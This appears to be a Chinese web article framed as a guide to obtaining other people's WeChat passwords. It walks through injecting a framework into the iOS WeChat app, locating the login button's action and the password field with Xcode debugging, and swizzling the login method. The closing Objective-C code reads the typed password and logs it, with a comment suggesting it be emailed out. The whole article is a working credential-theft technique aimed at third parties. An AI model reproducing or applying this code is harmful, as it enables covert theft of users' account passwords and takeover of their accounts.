当前位置:主页 > 娱乐八卦 > 正文

如何查看别人的微信密码

如何查看别人的微信密码动态分析是我们找到突破口非常重要的能力,这里确定了我们达到目的的途径。下面我们一起来看看吧。

怎么样查看别人的微信密码 弄到别人微信密码方法

需要准备一份资料,WeChat 官方的header文件,使用sublime打开。

如何查看别人的微信密码(1)

需要完成这篇文章中介绍的内容,需要了解一下注入Framework的相关知识。

可查看我的文章:iOS开发|Framework注入,让别人的软件执行我们的代码

完成了Framework的注入后,我们被注入的代码会执行,达到这种状态:

如何查看别人的微信密码(2)

Xcode 动态调试分析

动态分析是我们找到突破口非常重要的能力,这里确定了我们达到目的的途径。

一、找到方法

思路:为了获取用户的密码,我们需要在用户输入完成时取得密码,因为不知道用户在何时输入完成,是否修改,所以最好的拦截地方就是点击登录按钮时。

于是我们就要先找到登录按钮的方法。

这里主要是通过 ViewDebug 找到登录按钮的 target 和 action,发现 Controller 是

WCAccountMainLoginViewController,action 是 onNext。

验证是否正确,我们 po 一下,发现调用并没有报错,说明找到了这个方法,是属于

WCAccountMainLoginViewController 的一个实例方法 onNext。

如何查看别人的微信密码(3)

二、找到密码控件

找到了Controller,我们分析整个 UI 界面。Password 控件和Log in 在同一个Controller,所以我们想要从方法 onNext 中拿到控件就需要找到承载的密码控件。

如何查看别人的微信密码(4)

2.1、首先去 Controller 的属性中找,来到sublime,command+shift+f,输入@Interface

WCAccountMainLoginViewController。

很容易就找到了它,这个控件肯定就是密码输入控件。

如何查看别人的微信密码(5)

2.2、继续寻找 WCAccountTextFieldItem 类,看其中是否有 text 字段,如果有这肯定就是密码了。

如何查看别人的微信密码(6)

2.3、发现没有,但是有父类,继续从父类中寻找。找到了!

如何查看别人的微信密码(7)

通过代码分析也能验证,从动态调试中拿到这个类,po 一下就找到了text。

如何查看别人的微信密码(8)

代码实现,拿到用户密码

一、拿到密码

上面通过方法找到了Controller,action,和 text 所属对象的类。接下来就是通过代码获取到用户的密码了。实现如下,思想仍然是交换方法,从自己的方法中拿到密码。

如何查看别人的微信密码(9)

恭喜!通过OC方法,我们拿到了用户输入的密码。

但是这个有一个问题:我们必须要让用户继续登录,否则登录功能被破坏了。

二、让登录继续执行

有人想到,直接在my_onNext方法中直接调用原来的方法,因为方法已经交换了嘛。这样对不对呢?

肯定不行!因为我们现在所属的类是我们自己建的类,并不是像正常一样在category中实现的。所以,可想而知,此时 self 是

WCAccountMainLoginViewController,使用[self my_onNext]调用方法会崩溃,因为

WCAccountMainLoginViewController中并没有my_onNext这个方法。

为了解决调用崩溃问题,我们很容易想到的办法就是,添加一个my_onNext方法,既然没有,那就添加一个让它有,不就解决了吗?

如何查看别人的微信密码(10)

于是代码如下,完成!perfect。

+ voidload{NSLog @注入成功!!;ClassaccountVC=objc_getClass WCAccountMainLoginViewController;MethodoldMethod=class_getInstanceMethod accountVC,@selector onNext;MethodnewMethod=class_getInstanceMethod self,@selector my_onNext;method_exchangeImplementations oldMethod,newMethod;boolsuccess=class_addMethod accountVC,@selector my_onNext,class_getMethodImplementation self,@selector my_onNext,v@:;}- voidmy_onNext{//获取到用户密码idtext=[[[selfvalueForKey:@_textFieldUserPwdItem]valueForKey:@m_textField]valueForKey:@text];//可以发送到邮箱了NSLog @pwd:%@,text;[selfmy_onNext];}

后续还有更多逆向的知识,如果感情去可关注一波,欢迎评论转发。

猜你还喜欢的

Copyright © 2022 读周刊 All Rights Reserved
声明:本站部分内容来源于网络,如涉及侵权,请与我们联系,请发邮件"zhanwangmt@qq.com"进行处理,谢谢合作!
渝ICP备2021012918号-4|